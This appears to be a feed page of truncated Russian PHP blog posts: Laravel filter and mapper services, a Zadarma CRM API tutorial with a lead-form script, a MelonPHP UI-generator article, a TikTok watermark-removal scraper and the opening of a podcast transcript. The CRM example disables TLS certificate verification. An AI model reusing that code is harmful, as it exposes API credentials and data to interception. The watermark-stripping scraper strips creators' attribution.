<?php namespace App\Services;  use Illuminate\Support\Arr; use App\Interfaces\Services\Filter as IFilter;  /** * Service to filter data by conditions   * @package App\Services */ class Filter implements IFilter {      /**      * Filter data      *      * @param array $filter      * @param array $data      *      * @return array      */     public function filter(array $filter, array $data): array     {         if (!empty($filter)) {             foreach ($filter as $condition) {                 $field = $condition['field'] ?? null;                 if (empty($field)) {                     continue;                 }                 $operation = $condition['operation'] ?? null;                 $value1 = $condition['value1'] ?? null;                 $value2 = $condition['value2'] ?? null;                 $success = $condition['success'] ?? null;                 $filterResult = $condition['result'] ?? null;                  $value = Arr::get($data, $field, '');                 if ($field !== null && $this->checkCondition($value, $operation, $value1, $value2)) {                     return $success !== null ? $this->filter($success, $data) : $filterResult;                 }             }         }          return [];     }      /**      * Check condition      *      * @param $value      * @param $condition      * @param $value1      * @param $value2      *      * @return bool      */     protected function checkCondition($value, $condition, $value1, $value2): bool     {         $result = false;         $value = \is_string($value) ? mb_strtolower($value) : $value;         $value1 = \is_string($value1) ? mb_strtolower($value1) : $value1;         if ($value2 !== null) {             $value2 = \is_string($value2) ? mb_strtolower($value2) : $value2;         }         $conditions = explode('|', $condition);         $invert = \in_array(self::CONDITION_NOT, $conditions);         $conditions = array_filter($conditions, function ($item) {             return $item !== self::CONDITION_NOT;         });         $condition = implode('|', $conditions);         switch ($condition) {             case self::CONDITION_EQUAL:                 $result = ($value == $value1);                 break;             case self::CONDITION_IN:                 $result = \in_array($value, (array)$value1);                 break;             case self::CONDITION_LESS:                 $result = ($value < $value1);                 break;             case self::CONDITION_MORE:                 $result = ($value > $value1);                 break;             case self::CONDITION_MORE . '|' . self::CONDITION_EQUAL:             case self::CONDITION_EQUAL . '|' . self::CONDITION_MORE:                 $result = ($value >= $value1);                 break;             case self::CONDITION_LESS . '|' . self::CONDITION_EQUAL:             case self::CONDITION_EQUAL . '|' . self::CONDITION_LESS:                 $result = ($value <= $value1);                 break;             case self::CONDITION_BETWEEN:                 $result = (($value >= $value1) && ($value <= $value2));                 break;             case self::CONDITION_EMPTY:                 $result = empty($value);                 break;         }          return $invert ? !$result : $result;     }      /**      * Check conditions      *      * @param array $conditions      * @param array $data      *      * @return bool      */     public function check(array $conditions, array $data): bool     {         $result = true;         if (!empty($conditions)) {             foreach ($conditions as $condition) {                 $field = $condition['param'] ?? null;                 if (empty($field)) {                     continue;                 }                 $operation = $condition['condition'] ?? null;                 $value1 = $condition['value'] ?? null;                 $value2 = $condition['value2'] ?? null;                  $value = Arr::get($data, $field, '');                  $result &= $this->checkCondition($value, $operation, $value1, $value2);             }         }          return $result;     } } 

<?php namespace App\Interfaces\Services;  /** * Interface for service to map params * @package App\Interfaces\Services */ interface FieldMapper {     /**      * Map      *      * @param array $map      * @param array $data      *      * @return array      */     public function map(array $map, array $data): array; } 

<?php namespace App\Services;  use Illuminate\Support\Arr; use App\Interfaces\Services\FieldMapper as IFieldMapper;  /** * Params/fields mapper (by HUB) * @package App\Services */ class FieldMapper implements IFieldMapper {      /**      * Map      *      * @param array $map      * @param array $data      *      * @return array      */     public function map(array $map, array $data): array     {         $result = [];         foreach ($map as $from => $to) {             $to = (array)$to;             if (!empty($to['param']) && ($value = Arr::get($data, $to['param'])) !== null) {                 Arr::set($result, $from, $value);             } elseif ($to['value'] !== '') {                 Arr::set($result, $from, Arr::get($data, $to['value'], isset($to['value_as_param']) && $to['value_as_param'] ? '' : $to['value']));             }         }          return $result;     } 
Подробнее..

API для бесплатной CRM

14.07.2020 14:04:30 | Автор: admin


Меньше года назад мы представили бесплатную CRM систему интегрированную с бесплатной АТС. За это время ей воспользовались 14 000 компаний и 64 000 сотрудников. Развитие ZCRM не прекращалось ни на минуту, появилось множество больших и маленьких функций.
Но мы понимаем, чтобы представить действительно функциональную систему, а не просто умную записную книжку, недостаточно только интеграции с телефонией. Сейчас мы предлагаем открытый API интерфейс, в котором доступно большинство функций ZCRM. API позволяет использовать CRM для любых каналов продаж.
Ниже кратко опишем работу с API и доступный функционал. Также приведен простой но полезный и рабочий пример: скрипт для создания лида из формы на сайте.

Кратко о бесплатной CRM


Воздержимся от объяснения что такое CRM. Бесплатная CRM Zadarma поддерживает все стандартные функции хранения данных о клиенте. Информация сохраняется в ленте клиента. Также кроме информации о клиентах доступен удобный постановщик задач с отображением на любой вкус (календарь, канбан, список). Все это доступно для 50+ сотрудников и полностью интегрировано с телефонией (в том числе звонки из браузера по технологии WebRTC).

Что значит бесплатная? Нет ни одного тарифа либо услуги ZCRM, за которые нужно платить. Единственное за что нужно платить это за телефонные звонки и номера (по спецтарифам, например, абонплата за номер Москвы 95 рублей или Лондона 1 евро). А если звонков почти нет? То и платить почти не нужно.
Бесплатная CRM активна пока активна бесплатная АТС Zadarma. После регистрации АТС активна 2 недели, в дальнейшем необходимо пополнять счет на любую сумму 1 раз в 3 месяца. Сложно представить офис, которому нужна CRM и АТС, но вообще не нужен ни номер ни звонки.

Зачем нужен API для бесплатной CRM


Чем больше контактов с клиентом тем лучше и контакты могут быть самыми разными. Благодаря API можно без проблем автоматически вносить (либо наоборот получить) информацию о клиенте/лиде и задачах. Благодаря этому появляется возможность подключить любые каналы общения с клиентами и любые другие системы автоматизации.
Благодаря API бесплатную ZCRM возможно использовать любым способом, как целиком так и частично. Например, как удобный интерфейс для работы с корпоративной базой клиентов, либо простой удобный планировщик.
Ниже приведем пример подобного канала подключение к CRM лид-формы на сайте. Позже на сайте приведем и другие примеры, например создание задачи перезвонить клиенту (отложенный звонок).

Основные методы API ZCRM


Так как в API ZCRM доступно 37 методов, воздержимся от описания всех, опишем лишь основные их группы с примерами.
Полный список с примерами доступен на сайте в описании API CRM.

Возможна работа со следующими группами методов:
  • Клиенты (общий список, отдельные выборки, редактирование, удаление)
  • Теги и дополнительные свойства клиентов
  • Лента клиента (просмотр, редактирование, удаление записей в лентах клиентов)
  • Сотрудники клиента (так как клиент как правило юридическое лицо, у него может быть не мало сотрудников)
  • Задачи (весь функционал по работе с задачами)
  • Лиды (аналогично все функции)
  • Пользователи СRM (отображение списка пользователей, их права, настройки, контакты и рабочие часы)
  • Звонки (возвращает список звонков)


Так как используется существующая структура API Zadarma, для нее на Github уже доступны библиотеки на PHP, C#, Python.

Пример использования API


Самый простой и при этом полезный пример создание лида из формы. Для минимизации кода этот пример содержит только основные данные лида. Подобный пример, но уже с комментариями от клиента (обычно присутствуют в каждой форме) доступен в блоге на сайте. Примеры скрипта написаны на PHP без фреймворков а потому легко встраиваются.
Пример html формы для создания лида:

<form method="POST" action="/zcrm_leads">   <label for="name">Name:</label>   <br>   <input type="text" id="name" name="name" value="">   <br>   <label for="phone">Phone:</label><br>   <input type="text" id="phone" name="phones[0][phone]" value="">   <br>   <label for="phone">Email:</label><br>   <input type="text" id="email" name="contacts[0][value]" value="">   <br>   <br>   <input type="submit" value="Submit"></form>


Данная форма крайне проста чтобы не перегружать статью. Она не имеет ни дизайна, ни капчи, ни поля с комментарием. В нашем блоге доступна версия с полем комментариев (комментарий добавляется в ленту клиента после создания лида).

И собственно PHP пример по созданию лида с данными из формы:

<?php$postData = $_POST;if ($postData) {   if (isset($postData['phones'], $postData['phones'][0], $postData['phones'][0]['phone'])) {       $postData['phones'][0]['type'] = 'work';   }   if (isset($postData['contacts'], $postData['contacts'][0], $postData['contacts'][0]['value'])) {       $postData['contacts'][0]['type'] = 'email_work';   }   $params = ['lead' => $postData];   $params['lead']['lead_source'] = 'form';   $leadData = makePostRequest('/v1/zcrm/leads', $params);   var_dump($leadData);}exit();function makePostRequest($method, $params){   // замените userKey и secret на ваши из личного кабинета   $userKey = '';   $secret = '';   $apiUrl = 'https://api.zadarma.com';   ksort($params);   $paramsStr = makeParamsStr($params);   $sign = makeSign($paramsStr, $method, $secret);   $curl = curl_init();   curl_setopt($curl, CURLOPT_URL, $apiUrl . $method);   curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'POST');   curl_setopt($curl, CURLOPT_POST, true);   curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);   curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);   curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);   curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);   curl_setopt($curl, CURLOPT_POSTFIELDS, $paramsStr);   curl_setopt($curl, CURLOPT_HTTPHEADER, [       'Authorization: ' . $userKey . ':' . $sign   ]);   $response = curl_exec($curl);   $error = curl_error($curl);   curl_close($curl);   if ($error) {       return null;   } else {       return json_decode($response, true);   }}/*** @param array $params* @return string*/function makeParamsStr($params){   return http_build_query($params, null, '&', PHP_QUERY_RFC1738);}/*** @param string $paramsStr* @param string $method* @param string $secret** @return string*/function makeSign($paramsStr, $method, $secret){   return base64_encode(       hash_hmac(           'sha1',           $method . $paramsStr . md5($paramsStr),           $secret       )   );}


Как вы видите, работа с API достаточно проста, плюс присутствуют примеры работы на PHP, C#, Python. Таким образом без особых проблем можно вписать простую бесплатную CRM в любой рабочий процесс, получив автоматизацию малой кровью.
ZCRM непрерывно развивается и практически все новые функции будут доступны в том числе через API.
Также мы приглашаем интегрировать ваши существующие системы системы с бесплатными CRM и АТС Zadarma.
Подробнее..

Из песочницы Как я писал кодогенератор на PHP и что из этого получилось

18.07.2020 18:23:19 | Автор: admin

Причины и проблемы, которые нужно было решить


В этой статье я вам расскажу о том как я писал кодогенератор на php. Расскажу о пути, который он прошел от генерации простых таблиц, до довольно полноценного генератора html и css кода. Приведу примеры его использования и покажу уже сделанные проекты.


В этом семестре на одном из предметов можно было использовать только PHP.


После бесконеного ренейма проекта Проект получил имя MelonPHP. Чтобы люди думали о еде когда произносили его имя? Но у нас тут статья не о генерации бреда, по этому давайте я вам расскажу о причине его создания.


Написать надо было много, но это не проблема. Основная проблема заключалась в выводе HTML кода через PHP. Я постараюсь объяснить проблему ниже.


Например вот вывод текста через всем знакомое echo:


$text = "out text";echo "<p>$text</p>";

Выглядит просто и понятно. Давайте возьмем отрезок кода моего друга, где он генерирует таблицу:


...$sql = "SELECT * FROM table";$result = $conn->query($sql);if($result->num_rows > 0) {    echo "<b>Table table</b><br><br>";    echo "<table border=2>";  echo "<tr><td> name </td>"."<td> name </td>"."<td> name </td></tr>";    while($row = $result->fetch_assoc()) {        echo "<tr><td>".$row["name"]."</td><td>".$row["name"]."</td><td>".$row["name"]."</td></tr>";    }    echo "</table>";} else {echo "0 results";}...

Это страшный код демонстрирует проблемы, которые я хотел решить:


  • Присутствие html в php коде, что делает его по моему мнению менее читаемым. Все-таки файл для одного яп должен содержать код только одного яп(а), по моему мнению
  • Нет разделения логики, все в каше. Хотелось более приятный "фронтенд" на PHP

Стоит отметить, что я относительно давно пишу на Flutter и мне очень нравится идея заложенная в его основе, связанная с написанием интерфейса с помощью постройки дерева из виджетов. Я решил позаимствовать оттуда идею с нодами (виджетами).


Я был уверен, что быстрее будет написать небольшой кодогенератор, чем терпеть это.


Изначально генератор занимался генерацией таблиц через функции. Но потом перерос в ней-то более масштабное.


Основными идеями были следующими:


  • UI пишется из элементов/компонентов (привет React)
  • Удобные макеты (Избавиться от div, div, div, div...)
  • Чтобы весь UI писался на PHP (без JS, без HTML, без CSS).
  • Rebuild через callback события, через AJAX + JQuery не суждено
  • Удобная система роутов не суждено
  • Поддержка CSS (и не просто строку писать, на уровне "width: 100px", а полноценная поддержка прямо в PHP коде)
  • ООП

Особенности MelonPHP


  • Почти все элементы (кроме текста, кнопки и еще нескольких) по умолчанию имеют ширину и высоту в 100%, в том числе и документ.
  • Кроме того, если элементы будут выходить за пределы страницы, то скролла по умолчанию не будет. Для этого нужно использовать ScrollView.
  • Так же по умолчанию нельзя выделать никакие элементы.

Архитектура


Очень печально, что в PHP отсутствует передачу параметров по имени, и по этому я решил использовать вместо них функции. Я уверен что это не менее удобный аналог (Какого было мое удивление, когда Microsoft показали MAUI, который использует ту же идею с функциями).


Все классы в MelonPHP наследуется от Node. Это простой класс, который имеет только 2 функции: Generate(), static Create().


  • Generate() возвращает string сгенерированный код.
  • Create() это статическая функция. Она нужна чтобы было проще создавать ноды в дереве.

abstract class Node{  abstract function Generate() : string;  static function Create() ...}

Element

Element это более высокоуровневый класс, который нужен для более комфортного написания своих элементов.


Элемент в основном занимается генерацией чистого html кода.


Элементами в Фреймворк являются такие сущности как контейнер, кнопка, таблица и тд.


Component

Основная идея компонента в том, что этот класс управляет, и состоит из дерева элементов в нем. Компонент наследуется от элемента (бредовая идея).


Компонентами могут быть например дисплеи (аналог страниц в MelonPHP), списки, карточки, навигационные меню и тд.


abstract class Component extends Element{  function Initialize() ...  abstract function Build() : Element;  function Detach() ...}

Компонент удобен тем что вам не надо генерировать строки, чем занимается Element, так же в нем есть удобные функции для использования логики.


Попробуем написать простой компонент. Создадим класс ListItem наследуемый от Component.


Перезапишем функции Initialize() и Build().


Initialize() вызывается при создание компонента. В ней например можно инициализировать переменные или обработать логику.

Build() вызывается при генерации элемента. В ней обязательно должен возвращаться элемент. Обязательная для перезаписи.

Detach() вызывается при удалении компонента.

В Build() возвратим контейнер, а в качестве его ребенка, элемент текста и присвоим ему текст из переменной класса $Text.


В Initialize() пропишем значение $Text по умолчанию.


Добавим функцию Text(string) в которой будет записываться значение пользователя в переменную $Text.


Обязательно надо возвращать $this в функциях, которые будут вызываться в дереве.

class ListItem extends Component{  private $Text;  function Initialize() {    $this->Text = "Name";  }  function Build() : Element {    return Container::Create()    ->Child(      Text::Create()      ->Text($this->Text)    );  }  function Text(string $string) {    $this->Text = $string;    return $this;  }}

DisplayComponent

DisplayComponent это компонент, который может выводит сгенерированный код на страницу. Для генерации нужно вызвать функцию Display.


Попробуем написать пример простого дисплея.


В функции Build() возвратим Document и присваиваем ему Title(string).


В DisplayComponent, в функции Build() всегда должен возвращаться Document. Document это класс, который генерирует стандартную разметку HTML5.

Создадим функцию BuildList(), в которой через цикл заполним колонку созданными выше ListItem.


В качестве ребенка документа вызовем BuildList() функцию. Разделение дерева из нод на функции не дает ему превратиться в макаронного монстра.


Если будет ситуация что надо выполнить какую-то логику прямо в дереве, то для того есть класс Builder. Но так лучше не делать...

После тела класса вызовем функцию Diplay(), которая при переходе на данный файл, на сайте cгенерирует его и выведит.


class ListDisplay extends DisplayComponent{  function Build() : Document {    return Document::Create()    // название страницы    ->Title("test page")    ->Child($this->BuildList());  }  function BuildList() {    $column = new Column;    for($i = 0; $i < 10; $i++)      $column->Children(        ListItem::Create()        ->Text("number: $i")      );    return $column;  }} ListDisplay::Display();

Макеты


Одна из целей преследуемых при создании фреймворка удобство при создание макетов сайта.


Container


Container это макет, который используется для декоративных целей.


Может содержать только одного ребенка.


Column и Row

У большинства элементов есть дети. Если у элемента доступен метод Child то он может иметь только одного ребенка, а если Children то у него может быть больше одного ребенка.


Так же Child перезаписывает переменную ребенка в то время как Children добавляет аргументы в верх стека.


В Children если один элемент в аргументе то не обязательно его заносить в массив.

Тоесть вместо Children([Text::Create()]) можно написать Children(Text::Create())

Column это макет который выравнивает его детей вертикально.


Обращаясь к функциям CrossAlign и MainAlign можно выравнивать детей внутри колонки.



Row идентичен Column, но выравнивает детей горизонтально.



Stack

Stack это макет дети которого не позиционированы. Это полезно если вы хотите чтобы ноды пересекались, для создания более красивого дизайна.



ScrollView, HorizontalScrollView, VerticalScrollView


Эти контейнеры который является областью для скороллинга.


HorizontalScrollView в этом контейнере можно скроллить только по горизонтальной оси.


VerticalScrollView в этом контейнере можно скроллить только по вертикальной оси.


ScrollView в этом контейнере можно скроллить по всем осям.


Стилизация


Долга думая как лучше встроить css в фреймворк я пришел к идее с константами.


Например у нас в css есть background-color. Я строку записываю в константу и в php коде можно будет использовать без "". Это намного удобнее.


...const BackgroundBlendMode = "background-blend-mode";const BackgroundAttachment = "background-attachment";const Border = "border";const BorderSpacing = "border-spacing";const BorderRadius = "border-radius";const BorderImage = "border-image";...

Что качается например такой конструкции "34".Px. Тут идея с константами выглядит не читабельно. По этому я решил в таких ситуациях использовать функции для css например Px(34). Выглядит понятно и вписывается в пхп код.


Простая стилизация

Для простой стилизации в элементе функция ThemeParameter(...). Первый аргумент это название параметра, а второй аргумент это или массив из значений/значение.


Рассмотрим пример.


В первом параметре мы изменим цвет фона на #f0f0f0.


В втором параметре мы добавим отступы. Сверху и снизу 20px, справа и слева 15px.


Значения в массиве генерируются через пробел. Если вы хотите чтобы генерация происходила через запятую, то для етого есть функция CommaLine().

...Container::Create()->ThemeParameter(BackgroundColor, Hex("f0f0f0"))->ThemeParameter(Padding, [Px(20), Px(15)]);...

Как видно все очень просто и удобно, но если нам понадобятся модификаторы (hover например)? Для этого сделаны темы.


Темы

Темы в этом Фреймворк это более продвинутый css, с media, keyframes, и модификаторами.


Напишем тему для контейнера с модификатором hover и active.


Для того надо создать класс темы и добавить в него ThemeBlock через метод ThemeBlocks.


Блоку темы нужно присвоить ключ / ключи. Я назову ключ my_container.


Дальше в блок темы можно добавить модификаторы. Я добавил: StandartModifier, HoverModifier, ActiveModifier. И задал для них параметры тебя через метод Parameter(...). Parameter работает так же как ThemeParameter.


function GetMyTheme() : Theme {  return Theme::Create()  ->ThemeBlocks([    ThemeBlock::Create()    ->Keys("my_container")    ->Modifiers([      StandartModifier::Create()      ->Parameter(BackgroundColor, Red)      ->Parameter(Padding, [Px(10), Px(12)]),      HoverModifier::Create()      ->Parameter(BackgroundColor, Green),      ActiveModifier::Create()      ->Parameter(BackgroundColor, Blue)    ])  ]);}

Дальше контейнеру я присвоил ключ (имя класса в css) темы через метод ThemeKeys. Но для того чтобы тему можно было использовать ее надо добавить в документ через метод Themes.


class TestThemeDisplay extends DisplayComponent{  function Build() : Document {    return Document::Create()    ->Themes(GetMyTheme())    ->Child(      Container::Create()      ->ThemeKeys("my_container")    );  }} TestThemeDisplay::Display();

После можно запустить дисплей и увидеть что тема по ключу применилась.


Продвинутые анимации

Для продвинутой анимации есть keyframes.


Для того чтобы добавить в тему keyframe, используйте метод FrameBlocks.


Добавим уже в существующую тему FrameBlock.


В FrameBlock есть метод Frames. Вызовем его и добавим несколько фреймов, так же для каждого фрейма надо указывать Value. Оно может быть в процентах (используйте функцию Pr(value)) или может быть константа From, To.


Каждому кадру можно добавлять параметры которые будут уникальны и плавно изменятся между другими кадрами.


Так же добавим блок темы в котором будет применяться эта анимация и назовем его shake_text.


Создадим текст в предыдущем дисплее, в контейнере и применим ему ключ темы.


Так же на примере видно что в параметре можно использовать и обычные строки.


function GetMyTheme() : Theme {  return Theme::Create()  ->ThemeBlocks([    ThemeBlock::Create()    ->Keys("my_container")    ->Modifiers([      StandartModifier::Create()      ->Parameter(Padding, [Px(10), Px(12)]),      HoverModifier::Create()      ->Parameter(BackgroundColor, Green),      ActiveModifier::Create()      ->Parameter(BackgroundColor, Blue)    ]),    ThemeBlock::Create()    ->Keys("shake_text")    ->Modifiers([      StandartModifier::Create()      ->Parameter(Color, Red)      ->Parameter(Animation, ["shake_text_anim", ".2s", "ease-in-out", "5", "alternate-reverse"])    ])  ])  ->FrameBlocks(    FrameBlock::Create()    ->Key("shake_text_anim")    ->Frames([      Frame::Create()      ->Value(Pr(0))      ->Parameter(Transform, Translate(0, 0)),      Frame::Create()      ->Value(Pr(25))      ->Parameter(Color, Hex("ff4040"))      ->Parameter(Filter, Blur(Px(0.5))),      Frame::Create()      ->Value(Pr(50))      ->Parameter(Filter, Blur(Px(1.2))),      Frame::Create()      ->Value(Pr(75))      ->Parameter(Color, Hex("ff4040"))      ->Parameter(Filter, Blur(Px(0.5))),      Frame::Create()      ->Value(Pr(100))      ->Parameter(Transform, Translate(Px(10), 0)),    ])  );}

class TestThemeDisplay extends DisplayComponent{  function Build() : Document {    return Document::Create()    ->Themes(GetMyTheme())    ->Child(      Container::Create()      ->ThemeKeys("my_container")      ->Child(        Text::Create()        ->ThemeKeys("shake_text")        ->Text("Error text")      )    );  }} TestThemeDisplay::Display();


Адаптивность

Создадим еще 2 темы. Одна будет для мобильных девайсов, а вторая для пк. У темы есть функции: MinWidth, MaxWidth, MinHeight, MaxHeight, объявив которые вы можете указать на каком размере будет работать тема.


Теме для телефонов зададим MinWidth 800px.


Теме для пк зададим MaxWidth 800px.


Создадим блок темы где в стандартном модификаторе для мобильной версии будет присваиваться цвет фона зелёный, а на пк версии желтый. Назовем блок adaptive_color.


Добавим обе темы в документ дисплея.


Добавим ключи темы к контейнеру.


function GetMobileTheme() : Theme {  return Theme::Create()  ->MinWidth(Px(800))  ->ThemeBlocks(    ThemeBlock::Create()    ->Keys("adaptive_color")    ->Modifiers(      StandartModifier::Create()      ->Parameter(BackgroundColor, Green)    )  );}

function GetDesktopTheme() : Theme {  return Theme::Create()  ->MaxWidth(Px(800))  ->ThemeBlocks(    ThemeBlock::Create()    ->Keys("adaptive_color")    ->Modifiers(      StandartModifier::Create()      ->Parameter(BackgroundColor, Red)    )  );}

class TestThemeDisplay extends DisplayComponent{  function Build() : Document {    return Document::Create()    ->Themes([      GetMyTheme(),       GetDesktopTheme(),       GetMobileTheme()    ])    ->Child(      Container::Create()      ->ThemeKeys(["my_container", "adaptive_color"])      ->Child(        Text::Create()        ->ThemeKeys("shake_text")        ->Text("Error text")      )    );  }} TestThemeDisplay::Display();


Логика


Попробуем написать простой кликер.


Для начала нам надо создать класс и наследовать его от DisplayComponent.


Создадим функцию Build() и возвратим в ней Document.


class ClickerDisplay extends DisplayComponent{  function Build() : Element {    return Document::Create()    ->Title("Clicker");   }} ClickerDisplay::Display();

Добавим колонку в качестве ребенка документа.


Так же в качестве детей колонки добавим текст и кнопку.


class ClickerDisplay extends DisplayComponent{  function Build() : Element {    return Document::Create()    ->Title("Clicker")    ->Child(      Column::Create()      ->Children([        Text::Create()        ->Text("Pressed 0 times"),        Button::Create()        ->Text("Press")      ])    );   }} ClickerDisplay::Display();

Результат будет следующим.



Далее добавим простые ThemeParameter, чтобы сделать наш пример красивее.


class ClickerDisplay extends DisplayComponent{  function Build() : Element {    return Document::Create()    ->Title("Clicker")    ->Child(      Column::Create()      ->ThemeParameter(Padding, Px(15))      ->Children([        Text::Create()        ->ThemeParameter(PaddingBottom, Px(15))        ->Text("Pressed 0 times"),        Button::Create()        ->ThemeParameter(Width, Auto)        ->ThemeParameter(Padding, [Px(4), Px(10)])        ->ThemeParameter(BackgroundColor, Blue)        ->ThemeParameter(Color, White)        ->ThemeParameter(BorderRadius, Px(4))        ->Text("Press")      ])    );   }} ClickerDisplay::Display();

Выглядит куда лучше в несколько простых строчек.



Теперь можно добавить логику.


Для начала нужно инициализировать функцию Initialize() и создать приватную переменную TapCount.


Аналог form в фреймворке это Action.

Добавим Action в наше дерево элементов. Action тип пусть будет Post. В качестве детей укажем нашу колонку где находится наша кнопка.


Далее добавим click_count переменную в Action. А в качестве ее значение присвоим TapCount.


В Initialize() через Action::GetValue(name, standart_value, action_type) получим наше переменную. В качестве значения по умолчанию укажем 0, а в качестве типа укажем Post.


Добавим инкремент для нашей переменной.


В тексте выведим "Press $this->TapCount times".


Все, простой клинкер готов.


class ClickerDisplay extends DisplayComponent{  private $TapCount;  function Initialize() {    $this->TapCount = Action::GetValue("click_count", 0 /* standart value */, ActionTypes::Post);    $this->TapCount++;  }  function Build() : Document {    return Document::Create()    ->Title("Test page")    ->Child(      Action::Create()      ->Type(ActionTypes::Post)      ->Variable("click_count", $this->TapCount)      ->Child(        Column::Create()        ->ThemeParameter(Padding, Px(15))        ->Children([          Text::Create()          ->ThemeParameter(PaddingBottom, Px(15))          ->Text("Press $this->TapCount times"),          Button::Create()          ->ThemeParameter(Width, Auto)          ->ThemeParameter(Padding, [Px(4), Px(10)])          ->ThemeParameter(BackgroundColor, Blue)          ->ThemeParameter(Color, White)          ->ThemeParameter(BorderRadius, Px(4))          ->Text("Press")        ])      )    );  }} ClickerDisplay::Display();


Итог


Мне удалось написать простой, но достаточно мощный кодогенератор.


Он прошол путь от генерации простых таблиц до полноценного генератора html и css, на котором можно удобно верстать проекты и совмещять верстку с логикой.


На данном фреймворке я написал курсовой проект (скриншоты ниже), использовал его на экзамене и делал на нем учебные задания.


Скриншоты курсового проекта сделанного на MelonPHP




Источники


GitHub MelonPHP


Flutter


MAUI

Подробнее..
Категории: Php , Ui , Framework , Php7 , Generators , Codegeneration

Из песочницы Получение видео из Tik Tok без водяного знака

20.07.2020 20:10:45 | Автор: admin
Добрый день, всем любителям habr. В этой статье я хочу поделиться с Вами как можно получить видео с Tik Tok без водяного знака, с помощью такого языка как PHP.

В настоящее время Tik Tok набирает популярность и было бы не прилично не написать про него маленькую статейку, и так, меньше слов, больше дела.

Создадим класс под названием TikTok, он будет содержать три метода и одно свойство.

Методы:

  • cUrl (curl запрос)
  • redirectUrl (получить ссылку после redirect)
  • getUrl (получить ссылку на видео)

Свойства:

  • public $url;

Создадим конструктор для передачи url адреса.

public function __construct (string $url) {    $this->url = $url;}

Метод cUrl. Отправляем запрос на сервер и получаем ответ.

private function cUrl (string $url) :? string {    $user_agent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,                    like  Gecko) Chrome/79.0.3945.130 Safari/537.36';    $curl            = curl_init($url);    curl_setopt_array($curl, [CURLOPT_URL            => $url,CURLOPT_RETURNTRANSFER => TRUE,CURLOPT_FOLLOWLOCATION => TRUE,CURLOPT_USERAGENT      => $user_agent,CURLOPT_CONNECTTIMEOUT => 5,CURLOPT_TIMEOUT        => 10,    ]);    $response = curl_exec($curl);    if ($response === FALSE) {curl_close($curl);return NULL;    }    $httpCode = (int)curl_getinfo($curl, CURLINFO_HTTP_CODE);    curl_close($curl);    if ($httpCode !== 200)       return NULL;    return $response;}

Метод redirectUrl

private function redirectUrl (string $url) :? string {    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);    $headers = get_headers($url, 1);    return $headers['Location'] ?? NULL;}

Метод getUrl.
public function getUrl () :? string {    // Получаем код страницы.    $responseHtml = $this->cUrl($this->url);    // Находим ссылку на видео.    if (!preg_match('/contentUrl\\":\\"(.*?)\\",\\"embedUrl/ui', $responseHtml, $mInterUrl))throw new \Exception('Ссылка не найдена!');    // Отправляем запрос и в ответе получаем видео в виде bytecode    if (!$respByteVideo = $this->cUrl($mInterUrl[1]))        throw new \Exception('Запрос не обработался!');    // Чтобы регулярное выражение начало искать, нужно перевести в формат utf-8.    $strByteVideo = mb_convert_encoding($respByteVideo, 'UTF-8', 'auto');    // Ищем специальный id видео, чтобы на его основе построить запрос.    if (!preg_match('/vid:(.*?)%/sui', $strByteVideo, $mVideoId))throw new \Exception('id video не было найдено!');    // Уберём лишние символы.    $url = str_replace("\0", '', $mVideoId[1]);    // Строим ссылку для получения видео без водяного знака.    $url = "https://api.tiktokv.com/aweme/v1/playwm/?video_id=$url";    // Так как эта redirect на другую ссылку к видео, то пытаемся получить конечную ссылку после redirect    return $this->redirectUrl($url);}

Создадим объект на основе класса, передадим в него ссылку.

$TikTok = new TikTok('https://www.tiktok.com/@sonyakisa8/video/6828487583694163205?lang=ru');echo $TikTok->getUrl();

Все готово.

Примеры:


Весь код целиком

class TikTok {/** * @var string */public $url;public function __construct (string $url) {$this->url = $url;}/** * @return null|string * @throws Exception */public function getUrl () :? string {// Получаем код страницы$responseHtml = $this->cUrl($this->url);// Находим ссылку на видеоif (!preg_match('/contentUrl\\":\\"(.*?)\\",\\"embedUrl/ui', $responseHtml, $mInterUrl))throw new \Exception('Ссылка не найдена!');// Отправляем запрос и в ответе получаем видео ввиде bytecodeif (!$respByteVideo = $this->cUrl($mInterUrl[1]))throw new \Exception('Запрос не обработался!');// Чтобы регулярное выражение начало искать, нужно перевести в формат utf-8$strByteVideo = mb_convert_encoding($respByteVideo, 'UTF-8', 'auto');// Ищем специальный id видео, чтобы на его основе построить запросif (!preg_match('/vid:(.*?)%/sui', $strByteVideo, $mVideoId))throw new \Exception('id video не было найдено!');// Уберём лишние символы$url = str_replace("\0", '', $mVideoId[1]);// Строим ссылку на получения видео без водяного знака$url = "https://api.tiktokv.com/aweme/v1/playwm/?video_id=$url";// Так как эта redirect на другую ссылку к видео, то пытаемся получить ее после redirectreturn $this->redirectUrl($url);}/** * Получение url адреса после redirect * * @param string $url * @return null|string */private function redirectUrl (string $url) :? string {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);$headers = get_headers($url, 1);return $headers['Location'] ?? NULL;}/** * @param string $url * @return null|string */private function cUrl (string $url) :? string {$user_agent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36';$curl       = curl_init($url);curl_setopt_array($curl, [CURLOPT_URL            => $url,CURLOPT_RETURNTRANSFER => TRUE,CURLOPT_FOLLOWLOCATION => TRUE,CURLOPT_USERAGENT      => $user_agent,CURLOPT_CONNECTTIMEOUT => 5,CURLOPT_TIMEOUT        => 10,]);$response = curl_exec($curl);if ($response === FALSE) {curl_close($curl);return NULL;}$httpCode = (int)curl_getinfo($curl, CURLINFO_HTTP_CODE);curl_close($curl);if ($httpCode !== 200)return NULL;return $response;}}
Подробнее..
Категории: Php , Tik-tok , Watermark

Перевод PHP Internals News Эпизод 38 предзагрузка и WeakMaps

24.07.2020 20:08:25 | Автор: admin

Перевод транскрипции подкаста подготовлен в преддверии старта курса Backend-разработчик на PHP





Описание


В этом эпизоде PHP Internals News я беседую с Никитой Поповым (Twitter, GitHub, Сайт) о проблемах предзагрузки PHP 7.4 и его RFC WeakMaps.


СКАЧАТЬ MP3


Стенограмма


Дерик Ретанс 0:16
